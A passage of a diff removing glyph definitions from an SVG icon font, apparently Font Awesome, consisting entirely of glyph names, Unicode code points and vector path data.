-q-75 75 -180 75q-106 0 -181 -74.5t-75 -180.5t75 -180.5t181 -74.5h1046q79 0 134.5 55.5t55.5 133.5zM1798 438q0 -142 -100.5 -242t-242.5 -100h-1046q-169 0 -289 119.5t-120 288.5q0 153 100 267t249 136q62 184 221 298t354 114q235 0 408.5 -158.5t196.5 -389.5
-q116 -25 192.5 -118.5t76.5 -214.5zM2048 438q0 -175 -97 -319q-23 -33 -64 -33q-24 0 -43 13q-26 17 -32 48.5t12 57.5q71 104 71 233t-71 233q-18 26 -12 57t32 49t57.5 11.5t49.5 -32.5q97 -142 97 -318zM2304 438q0 -244 -134 -443q-23 -34 -64 -34q-23 0 -42 13
-q-26 18 -32.5 49t11.5 57q108 164 108 358q0 195 -108 357q-18 26 -11.5 57.5t32.5 48.5q26 18 57 12t49 -33q134 -198 134 -442z" />
-    <glyph glyph-name="_610" unicode="&#xf28a;" 
-d="M1500 -13q0 -89 -63 -152.5t-153 -63.5t-153.5 63.5t-63.5 152.5q0 90 63.5 153.5t153.5 63.5t153 -63.5t63 -153.5zM1267 268q-115 -15 -192.5 -102.5t-77.5 -205.5q0 -74 33 -138q-146 -78 -379 -78q-109 0 -201 21t-153.5 54.5t-110.5 76.5t-76 85t-44.5 83
-t-23.5 66.5t-6 39.5q0 19 4.5 42.5t18.5 56t36.5 58t64 43.5t94.5 18t94 -17.5t63 -41t35.5 -53t17.5 -49t4 -33.5q0 -34 -23 -81q28 -27 82 -42t93 -17l40 -1q115 0 190 51t75 133q0 26 -9 48.5t-31.5 44.5t-49.5 41t-74 44t-93.5 47.5t-119.5 56.5q-28 13 -43 20
-q-116 55 -187 100t-122.5 102t-72 125.5t-20.5 162.5q0 78 20.5 150t66 137.5t112.5 114t166.5 77t221.5 28.5q120 0 220 -26t164.5 -67t109.5 -94t64 -105.5t19 -103.5q0 -46 -15 -82.5t-36.5 -58t-48.5 -36t-49 -19.5t-39 -5h-8h-32t-39 5t-44 14t-41 28t-37 46t-24 70.5
-t-10 97.5q-15 16 -59 25.5t-81 10.5l-37 1q-68 0 -117.5 -31t-70.5 -70t-21 -76q0 -24 5 -43t24 -46t53 -51t97 -53.5t150 -58.5q76 -25 138.5 -53.5t109 -55.5t83 -59t60.5 -59.5t41 -62.5t26.5 -62t14.5 -63.5t6 -62t1 -62.5z" />
-    <glyph glyph-name="_611" unicode="&#xf28b;" 
-d="M704 352v576q0 14 -9 23t-23 9h-256q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h256q14 0 23 9t9 23zM1152 352v576q0 14 -9 23t-23 9h-256q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h256q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103
-t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="_612" unicode="&#xf28c;" 
-d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM768 96q148 0 273 73t198 198t73 273t-73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273
-t73 -273t198 -198t273 -73zM864 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-192zM480 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-192z" />
-    <glyph glyph-name="_613" unicode="&#xf28d;" 
-d="M1088 352v576q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5
-t103 -385.5z" />
-    <glyph glyph-name="_614" unicode="&#xf28e;" 
-d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM768 96q148 0 273 73t198 198t73 273t-73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273
-t73 -273t198 -198t273 -73zM480 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h576q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-576z" />
-    <glyph glyph-name="_615" unicode="&#xf290;" horiz-adv-x="1792" 
-d="M1757 128l35 -313q3 -28 -16 -50q-19 -21 -48 -21h-1664q-29 0 -48 21q-19 22 -16 50l35 313h1722zM1664 967l86 -775h-1708l86 775q3 24 21 40.5t43 16.5h256v-128q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5v128h384v-128q0 -53 37.5 -90.5t90.5 -37.5
-t90.5 37.5t37.5 90.5v128h256q25 0 43 -16.5t21 -40.5zM1280 1152v-256q0 -26 -19 -45t-45 -19t-45 19t-19 45v256q0 106 -75 181t-181 75t-181 -75t-75 -181v-256q0 -26 -19 -45t-45 -19t-45 19t-19 45v256q0 159 112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5z" />
-    <glyph glyph-name="_616" unicode="&#xf291;" horiz-adv-x="2048" 
-d="M1920 768q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5h-15l-115 -662q-8 -46 -44 -76t-82 -30h-1280q-46 0 -82 30t-44 76l-115 662h-15q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5h1792zM485 -32q26 2 43.5 22.5t15.5 46.5l-32 416q-2 26 -22.5 43.5
-t-46.5 15.5t-43.5 -22.5t-15.5 -46.5l32 -416q2 -25 20.5 -42t43.5 -17h5zM896 32v416q0 26 -19 45t-45 19t-45 -19t-19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45zM1280 32v416q0 26 -19 45t-45 19t-45 -19t-19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45zM1632 27l32 416
-q2 26 -15.5 46.5t-43.5 22.5t-46.5 -15.5t-22.5 -43.5l-32 -416q-2 -26 15.5 -46.5t43.5 -22.5h5q25 0 43.5 17t20.5 42zM476 1244l-93 -412h-132l101 441q19 88 89 143.5t160 55.5h167q0 26 19 45t45 19h384q26 0 45 -19t19 -45h167q90 0 160 -55.5t89 -143.5l101 -441
-h-132l-93 412q-11 44 -45.5 72t-79.5 28h-167q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45h-167q-45 0 -79.5 -28t-45.5 -72z" />
-    <glyph glyph-name="_617" unicode="&#xf292;" horiz-adv-x="1792" 
-d="M991 512l64 256h-254l-64 -256h254zM1759 1016l-56 -224q-7 -24 -31 -24h-327l-64 -256h311q15 0 25 -12q10 -14 6 -28l-56 -224q-5 -24 -31 -24h-327l-81 -328q-7 -24 -31 -24h-224q-16 0 -26 12q-9 12 -6 28l78 312h-254l-81 -328q-7 -24 -31 -24h-225q-15 0 -25 12
-q-9 12 -6 28l78 312h-311q-15 0 -25 12q-9 12 -6 28l56 224q7 24 31 24h327l64 256h-311q-15 0 -25 12q-10 14 -6 28l56 224q5 24 31 24h327l81 328q7 24 32 24h224q15 0 25 -12q9 -12 6 -28l-78 -312h254l81 328q7 24 32 24h224q15 0 25 -12q9 -12 6 -28l-78 -312h311
-q15 0 25 -12q9 -12 6 -28z" />
-    <glyph glyph-name="_618" unicode="&#xf293;" 
-d="M841 483l148 -148l-149 -149zM840 1094l149 -149l-148 -148zM710 -130l464 464l-306 306l306 306l-464 464v-611l-255 255l-93 -93l320 -321l-320 -321l93 -93l255 255v-611zM1429 640q0 -209 -32 -365.5t-87.5 -257t-140.5 -162.5t-181.5 -86.5t-219.5 -24.5
-t-219.5 24.5t-181.5 86.5t-140.5 162.5t-87.5 257t-32 365.5t32 365.5t87.5 257t140.5 162.5t181.5 86.5t219.5 24.5t219.5 -24.5t181.5 -86.5t140.5 -162.5t87.5 -257t32 -365.5z" />
-    <glyph glyph-name="_619" unicode="&#xf294;" horiz-adv-x="1024" 
-d="M596 113l173 172l-173 172v-344zM596 823l173 172l-173 172v-344zM628 640l356 -356l-539 -540v711l-297 -296l-108 108l372 373l-372 373l108 108l297 -296v711l539 -540z" />
-    <glyph glyph-name="_620" unicode="&#xf295;" 
-d="M1280 256q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM512 1024q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM1536 256q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5
-t112.5 -271.5zM1440 1344q0 -20 -13 -38l-1056 -1408q-19 -26 -51 -26h-160q-26 0 -45 19t-19 45q0 20 13 38l1056 1408q19 26 51 26h160q26 0 45 -19t19 -45zM768 1024q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5
-t271.5 -112.5t112.5 -271.5z" />
-    <glyph glyph-name="_621" unicode="&#xf296;" horiz-adv-x="1792" 
-d="M104 830l792 -1015l-868 630q-18 13 -25 34.5t0 42.5l101 308v0zM566 830h660l-330 -1015v0zM368 1442l198 -612h-462l198 612q8 23 33 23t33 -23zM1688 830l101 -308q7 -21 0 -42.5t-25 -34.5l-868 -630l792 1015v0zM1688 830h-462l198 612q8 23 33 23t33 -23z" />
-    <glyph glyph-name="_622" unicode="&#xf297;" horiz-adv-x="1792" 
-d="M384 704h160v224h-160v-224zM1221 372v92q-104 -36 -243 -38q-135 -1 -259.5 46.5t-220.5 122.5l1 -96q88 -80 212 -128.5t272 -47.5q129 0 238 49zM640 704h640v224h-640v-224zM1792 736q0 -187 -99 -352q89 -102 89 -229q0 -157 -129.5 -268t-313.5 -111
-q-122 0 -225 52.5t-161 140.5q-19 -1 -57 -1t-57 1q-58 -88 -161 -140.5t-225 -52.5q-184 0 -313.5 111t-129.5 268q0 127 89 229q-99 165 -99 352q0 209 120 385.5t326.5 279.5t449.5 103t449.5 -103t326.5 -279.5t120 -385.5z" />
-    <glyph glyph-name="_623" unicode="&#xf298;" 
-d="M515 625v-128h-252v128h252zM515 880v-127h-252v127h252zM1273 369v-128h-341v128h341zM1273 625v-128h-672v128h672zM1273 880v-127h-672v127h672zM1408 20v1240q0 8 -6 14t-14 6h-32l-378 -256l-210 171l-210 -171l-378 256h-32q-8 0 -14 -6t-6 -14v-1240q0 -8 6 -14
-t14 -6h1240q8 0 14 6t6 14zM553 1130l185 150h-406zM983 1130l221 150h-406zM1536 1260v-1240q0 -62 -43 -105t-105 -43h-1240q-62 0 -105 43t-43 105v1240q0 62 43 105t105 43h1240q62 0 105 -43t43 -105z" />
-    <glyph glyph-name="_624" unicode="&#xf299;" horiz-adv-x="1792" 
-d="M896 720q-104 196 -160 278q-139 202 -347 318q-34 19 -70 36q-89 40 -94 32t34 -38l39 -31q62 -43 112.5 -93.5t94.5 -116.5t70.5 -113t70.5 -131q9 -17 13 -25q44 -84 84 -153t98 -154t115.5 -150t131 -123.5t148.5 -90.5q153 -66 154 -60q1 3 -49 37q-53 36 -81 57
-q-77 58 -179 211t-185 310zM549 177q-76 60 -132.5 125t-98 143.5t-71 154.5t-58.5 186t-52 209t-60.5 252t-76.5 289q273 0 497.5 -36t379 -92t271 -144.5t185.5 -172.5t110 -198.5t56 -199.5t12.5 -198.5t-9.5 -173t-20 -143.5t-13 -107l323 -327h-104l-281 285
-q-22 -2 -91.5 -14t-121.5 -19t-138 -6t-160.5 17t-167.5 59t-179 111z" />
-    <glyph glyph-name="_625" unicode="&#xf29a;" horiz-adv-x="1792" 
-d="M1374 879q-6 26 -28.5 39.5t-48.5 7.5q-261 -62 -401 -62t-401 62q-26 6 -48.5 -7.5t-28.5 -39.5t7.5 -48.5t39.5 -28.5q194 -46 303 -58q-2 -158 -15.5 -269t-26.5 -155.5t-41 -115.5l-9 -21q-10 -25 1 -49t36 -34q9 -4 23 -4q44 0 60 41l8 20q54 139 71 259h42
-q17 -120 71 -259l8 -20q16 -41 60 -41q14 0 23 4q25 10 36 34t1 49l-9 21q-28 71 -41 115.5t-26.5 155.5t-15.5 269q109 12 303 58q26 6 39.5 28.5t7.5 48.5zM1024 1024q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5z
-M1600 640q0 -143 -55.5 -273.5t-150 -225t-225 -150t-273.5 -55.5t-273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5zM896 1408q-156 0 -298 -61t-245 -164t-164 -245t-61 -298t61 -298
-t164 -245t245 -164t298 -61t298 61t245 164t164 245t61 298t-61 298t-164 245t-245 164t-298 61zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
-    <glyph glyph-name="_626" unicode="&#xf29b;" 
-d="M1438 723q34 -35 29 -82l-44 -551q-4 -42 -34.5 -70t-71.5 -28q-6 0 -9 1q-44 3 -72.5 36.5t-25.5 77.5l35 429l-143 -8q55 -113 55 -240q0 -216 -148 -372l-137 137q91 101 91 235q0 145 -102.5 248t-247.5 103q-134 0 -236 -92l-137 138q120 114 284 141l264 300
-l-149 87l-181 -161q-33 -30 -77 -27.5t-73 35.5t-26.5 77t34.5 73l239 213q26 23 60 26.5t64 -14.5l488 -283q36 -21 48 -68q17 -67 -26 -117l-205 -232l371 20q49 3 83 -32zM1240 1180q-74 0 -126 52t-52 126t52 126t126 52t126.5 -52t52.5 -126t-52.5 -126t-126.5 -52z
-M613 -62q106 0 196 61l139 -139q-146 -116 -335 -116q-148 0 -273.5 73t-198.5 198t-73 273q0 188 116 336l139 -139q-60 -88 -60 -197q0 -145 102.5 -247.5t247.5 -102.5z" />
-    <glyph glyph-name="_627" unicode="&#xf29c;" 
-d="M880 336v-160q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v160q0 14 9 23t23 9h160q14 0 23 -9t9 -23zM1136 832q0 -50 -15 -90t-45.5 -69t-52 -44t-59.5 -36q-32 -18 -46.5 -28t-26 -24t-11.5 -29v-32q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v68q0 35 10.5 64.5
-t24 47.5t39 35.5t41 25.5t44.5 21q53 25 75 43t22 49q0 42 -43.5 71.5t-95.5 29.5q-56 0 -95 -27q-29 -20 -80 -83q-9 -12 -25 -12q-11 0 -19 6l-108 82q-10 7 -12 20t5 23q122 192 349 192q129 0 238.5 -89.5t109.5 -214.5zM768 1280q-130 0 -248.5 -51t-204 -136.5
-t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5
-t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="_628" unicode="&#xf29d;" horiz-adv-x="1408" 
-d="M366 1225q-64 0 -110 45.5t-46 110.5q0 64 46 109.5t110 45.5t109.5 -45.5t45.5 -109.5q0 -65 -45.5 -110.5t-109.5 -45.5zM917 583q0 -50 -30 -67.5t-63.5 -6.5t-47.5 34l-367 438q-7 12 -14 15.5t-11 1.5l-3 -3q-7 -8 4 -21l122 -139l1 -354l-161 -457
-q-67 -192 -92 -234q-15 -26 -28 -32q-50 -26 -103 -1q-29 13 -41.5 43t-9.5 57q2 17 197 618l5 416l-85 -164l35 -222q4 -24 -1 -42t-14 -27.5t-19 -16t-17 -7.5l-7 -2q-19 -3 -34.5 3t-24 16t-14 22t-7.5 19.5t-2 9.5l-46 299l211 381q23 34 113 34q75 0 107 -40l424 -521
-q7 -5 14 -17l3 -3l-1 -1q7 -13 7 -29zM514 433q43 -113 88.5 -225t69.5 -168l24 -55q36 -93 42 -125q11 -70 -36 -97q-35 -22 -66 -16t-51 22t-29 35h-1q-6 16 -8 25l-124 351zM1338 -159q31 -49 31 -57q0 -5 -3 -7q-9 -5 -14.5 0.5t-15.5 26t-16 30.5q-114 172 -423 661
-q3 -1 7 1t7 4l3 2q11 9 11 17z" />
-    <glyph glyph-name="_629" unicode="&#xf29e;" horiz-adv-x="2304" 
-d="M504 542h171l-1 265zM1530 641q0 87 -50.5 140t-146.5 53h-54v-388h52q91 0 145 57t54 138zM956 1018l1 -756q0 -14 -9.5 -24t-23.5 -10h-216q-14 0 -23.5 10t-9.5 24v62h-291l-55 -81q-10 -15 -28 -15h-267q-21 0 -30.5 18t3.5 35l556 757q9 14 27 14h332q14 0 24 -10
-t10 -24zM1783 641q0 -193 -125.5 -303t-324.5 -110h-270q-14 0 -24 10t-10 24v756q0 14 10 24t24 10h268q200 0 326 -109t126 -302zM1939 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-44.5 -108t-73.5 -102.5h-51q38 45 66.5 104.5t41.5 112t21 98t9 72.5l1 27q0 8 -0.5 22.5
-t-7.5 60t-20 91.5t-41 111.5t-66 124.5h43q41 -47 72 -107t45.5 -111.5t23 -96t10.5 -70.5zM2123 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-45 -108t-74 -102.5h-51q38 45 66.5 104.5t41.5 112t21 98t9 72.5l1 27q0 8 -0.5 22.5t-7.5 60t-19.5 91.5t-40.5 111.5t-66 124.5
-h43q41 -47 72 -107t45.5 -111.5t23 -96t10.5 -70.5zM2304 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-44.5 -108t-73.5 -102.5h-51q38 45 66 104.5t41 112t21 98t9 72.5l1 27q0 8 -0.5 22.5t-7.5 60t-19.5 91.5t-40.5 111.5t-66 124.5h43q41 -47 72 -107t45.5 -111.5t23 -96
-t9.5 -70.5z" />
-    <glyph glyph-name="uniF2A0" unicode="&#xf2a0;" horiz-adv-x="1408" 
-d="M617 -153q0 11 -13 58t-31 107t-20 69q-1 4 -5 26.5t-8.5 36t-13.5 21.5q-15 14 -51 14q-23 0 -70 -5.5t-71 -5.5q-34 0 -47 11q-6 5 -11 15.5t-7.5 20t-6.5 24t-5 18.5q-37 128 -37 255t37 255q1 4 5 18.5t6.5 24t7.5 20t11 15.5q13 11 47 11q24 0 71 -5.5t70 -5.5
-q36 0 51 14q9 8 13.5 21.5t8.5 36t5 26.5q2 9 20 69t31 107t13 58q0 22 -43.5 52.5t-75.5 42.5q-20 8 -45 8q-34 0 -98 -18q-57 -17 -96.5 -40.5t-71 -66t-46 -70t-45.5 -94.5q-6 -12 -9 -19q-49 -107 -68 -216t-19 -244t19 -244t68 -216q56 -122 83 -161q63 -91 179 -127
-l6 -2q64 -18 98 -18q25 0 45 8q32 12 75.5 42.5t43.5 52.5zM776 760q-26 0 -45 19t-19 45.5t19 45.5q37 37 37 90q0 52 -37 91q-19 19 -19 45t19 45t45 19t45 -19q75 -75 75 -181t-75 -181q-21 -19 -45 -19zM957 579q-27 0 -45 19q-19 19 -19 45t19 45q112 114 112 272
-t-112 272q-19 19 -19 45t19 45t45 19t45 -19q150 -150 150 -362t-150 -362q-18 -19 -45 -19zM1138 398q-27 0 -45 19q-19 19 -19 45t19 45q90 91 138.5 208t48.5 245t-48.5 245t-138.5 208q-19 19 -19 45t19 45t45 19t45 -19q109 -109 167 -249t58 -294t-58 -294t-167 -249
-q-18 -19 -45 -19z" />
-    <glyph glyph-name="uniF2A1" unicode="&#xf2a1;" horiz-adv-x="2176" 
-d="M192 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM704 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM704 864q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1472 352
-q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1472 864q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 864
-q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 1376q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM384 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 192q0 -80 -56 -136
-t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 1216q0 -80 -56 -136t-136 -56
-t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM2176 192q0 -80 -56 -136t-136 -56t-136 56
-t-56 136t56 136t136 56t136 -56t56 -136zM1664 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM2176 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136
-t56 136t136 56t136 -56t56 -136zM2176 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136z" />
-    <glyph glyph-name="uniF2A2" unicode="&#xf2a2;" horiz-adv-x="1792" 
-d="M128 -192q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM320 0q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM365 365l256 -256l-90 -90l-256 256zM704 384q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45z
-M1411 704q0 -59 -11.5 -108.5t-37.5 -93.5t-44 -67.5t-53 -64.5q-31 -35 -45.5 -54t-33.5 -50t-26.5 -64t-7.5 -74q0 -159 -112.5 -271.5t-271.5 -112.5q-26 0 -45 19t-19 45t19 45t45 19q106 0 181 75t75 181q0 57 11.5 105.5t37 91t43.5 66.5t52 63q40 46 59.5 72
-t37.5 74.5t18 103.5q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5zM896 576q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45
-t45 19t45 -19t19 -45zM1184 704q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 93 -65.5 158.5t-158.5 65.5q-92 0 -158 -65.5t-66 -158.5q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 146 103 249t249 103t249 -103t103 -249zM1578 993q10 -25 -1 -49t-36 -34q-9 -4 -23 -4
-q-19 0 -35.5 11t-23.5 30q-68 178 -224 295q-21 16 -25 42t12 47q17 21 43 25t47 -12q183 -137 266 -351zM1788 1074q9 -25 -1.5 -49t-35.5 -34q-11 -4 -23 -4q-44 0 -60 41q-92 238 -297 393q-22 16 -25.5 42t12.5 47q16 22 42 25.5t47 -12.5q235 -175 341 -449z" />
-    <glyph glyph-name="uniF2A3" unicode="&#xf2a3;" horiz-adv-x="2304" 
-d="M1032 576q-59 2 -84 55q-17 34 -48 53.5t-68 19.5q-53 0 -90.5 -37.5t-37.5 -90.5q0 -56 36 -89l10 -8q34 -31 82 -31q37 0 68 19.5t48 53.5q25 53 84 55zM1600 704q0 56 -36 89l-10 8q-34 31 -82 31q-37 0 -68 -19.5t-48 -53.5q-25 -53 -84 -55q59 -2 84 -55
-q17 -34 48 -53.5t68 -19.5q53 0 90.5 37.5t37.5 90.5zM1174 925q-17 -35 -55 -48t-73 4q-62 31 -134 31q-51 0 -99 -17q3 0 9.5 0.5t9.5 0.5q92 0 170.5 -50t118.5 -133q17 -36 3.5 -73.5t-49.5 -54.5q-18 -9 -39 -9q21 0 39 -9q36 -17 49.5 -54.5t-3.5 -73.5
-q-40 -83 -118.5 -133t-170.5 -50h-6q-16 2 -44 4l-290 27l-239 -120q-14 -7 -29 -7q-40 0 -57 35l-160 320q-11 23 -4 47.5t29 37.5l209 119l148 267q17 155 91.5 291.5t195.5 236.5q31 25 70.5 21.5t64.5 -34.5t21.5 -70t-34.5 -65q-70 -59 -117 -128q123 84 267 101
-q40 5 71.5 -19t35.5 -64q5 -40 -19 -71.5t-64 -35.5q-84 -10 -159 -55q46 10 99 10q115 0 218 -50q36 -18 49 -55.5t-5 -73.5zM2137 1085l160 -320q11 -23 4 -47.5t-29 -37.5l-209 -119l-148 -267q-17 -155 -91.5 -291.5t-195.5 -236.5q-26 -22 -61 -22q-45 0 -74 35
-q-25 31 -21.5 70t34.5 65q70 59 117 128q-123 -84 -267 -101q-4 -1 -12 -1q-36 0 -63.5 24t-31.5 60q-5 40 19 71.5t64 35.5q84 10 159 55q-46 -10 -99 -10q-115 0 -218 50q-36 18 -49 55.5t5 73.5q17 35 55 48t73 -4q62 -31 134 -31q51 0 99 17q-3 0 -9.5 -0.5t-9.5 -0.5
-q-92 0 -170.5 50t-118.5 133q-17 36 -3.5 73.5t49.5 54.5q18 9 39 9q-21 0 -39 9q-36 17 -49.5 54.5t3.5 73.5q40 83 118.5 133t170.5 50h6h1q14 -2 42 -4l291 -27l239 120q14 7 29 7q40 0 57 -35z" />
-    <glyph glyph-name="uniF2A4" unicode="&#xf2a4;" horiz-adv-x="1792" 
-d="M1056 704q0 -26 19 -45t45 -19t45 19t19 45q0 146 -103 249t-249 103t-249 -103t-103 -249q0 -26 19 -45t45 -19t45 19t19 45q0 93 66 158.5t158 65.5t158 -65.5t66 -158.5zM835 1280q-117 0 -223.5 -45.5t-184 -123t-123 -184t-45.5 -223.5q0 -26 19 -45t45 -19t45 19
-t19 45q0 185 131.5 316.5t316.5 131.5t316.5 -131.5t131.5 -316.5q0 -55 -18 -103.5t-37.5 -74.5t-59.5 -72q-34 -39 -52 -63t-43.5 -66.5t-37 -91t-11.5 -105.5q0 -106 -75 -181t-181 -75q-26 0 -45 -19t-19 -45t19 -45t45 -19q159 0 271.5 112.5t112.5 271.5q0 41 7.5 74
-t26.5 64t33.5 50t45.5 54q35 41 53 64.5t44 67.5t37.5 93.5t11.5 108.5q0 117 -45.5 223.5t-123 184t-184 123t-223.5 45.5zM591 561l226 -226l-579 -579q-12 -12 -29 -12t-29 12l-168 168q-12 12 -12 29t12 29zM1612 1524l168 -168q12 -12 12 -29t-12 -30l-233 -233
-l-26 -25l-71 -71q-66 153 -195 258l91 91l207 207q13 12 30 12t29 -12z" />
-    <glyph glyph-name="uniF2A5" unicode="&#xf2a5;" 
-d="M866 1021q0 -27 -13 -94q-11 -50 -31.5 -150t-30.5 -150q-2 -11 -4.5 -12.5t-13.5 -2.5q-20 -2 -31 -2q-58 0 -84 49.5t-26 113.5q0 88 35 174t103 124q28 14 51 14q28 0 36.5 -16.5t8.5 -47.5zM1352 597q0 14 -39 75.5t-52 66.5q-21 8 -34 8q-91 0 -226 -77l-2 2
-q3 22 27.5 135t24.5 178q0 233 -242 233q-24 0 -68 -6q-94 -17 -168.5 -89.5t-111.5 -166.5t-37 -189q0 -146 80.5 -225t227.5 -79q25 0 25 -3t-1 -5q-4 -34 -26 -117q-14 -52 -51.5 -101t-82.5 -49q-42 0 -42 47q0 24 10.5 47.5t25 39.5t29.5 28.5t26 20t11 8.5q0 3 -7 10
-q-24 22 -58.5 36.5t-65.5 14.5q-35 0 -63.5 -34t-41 -75t-12.5 -75q0 -88 51.5 -142t138.5 -54q82 0 155 53t117.5 126t65.5 153q6 22 15.5 66.5t14.5 66.5q3 12 14 18q118 60 227 60q48 0 127 -18q1 -1 4 -1q5 0 9.5 4.5t4.5 8.5zM1536 1120v-960q0 -119 -84.5 -203.5
-t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
-    <glyph glyph-name="uniF2A6" unicode="&#xf2a6;" horiz-adv-x="1535" 
-d="M744 1231q0 24 -2 38.5t-8.5 30t-21 23t-37.5 7.5q-39 0 -78 -23q-105 -58 -159 -190.5t-54 -269.5q0 -44 8.5 -85.5t26.5 -80.5t52.5 -62.5t81.5 -23.5q4 0 18 -0.5t20 0t16 3t15 8.5t7 16q16 77 48 231.5t48 231.5q19 91 19 146zM1498 575q0 -7 -7.5 -13.5t-15.5 -6.5
-l-6 1q-22 3 -62 11t-72 12.5t-63 4.5q-167 0 -351 -93q-15 -8 -21 -27q-10 -36 -24.5 -105.5t-22.5 -100.5q-23 -91 -70 -179.5t-112.5 -164.5t-154.5 -123t-185 -47q-135 0 -214.5 83.5t-79.5 219.5q0 53 19.5 117t63 116.5t97.5 52.5q38 0 120 -33.5t83 -61.5
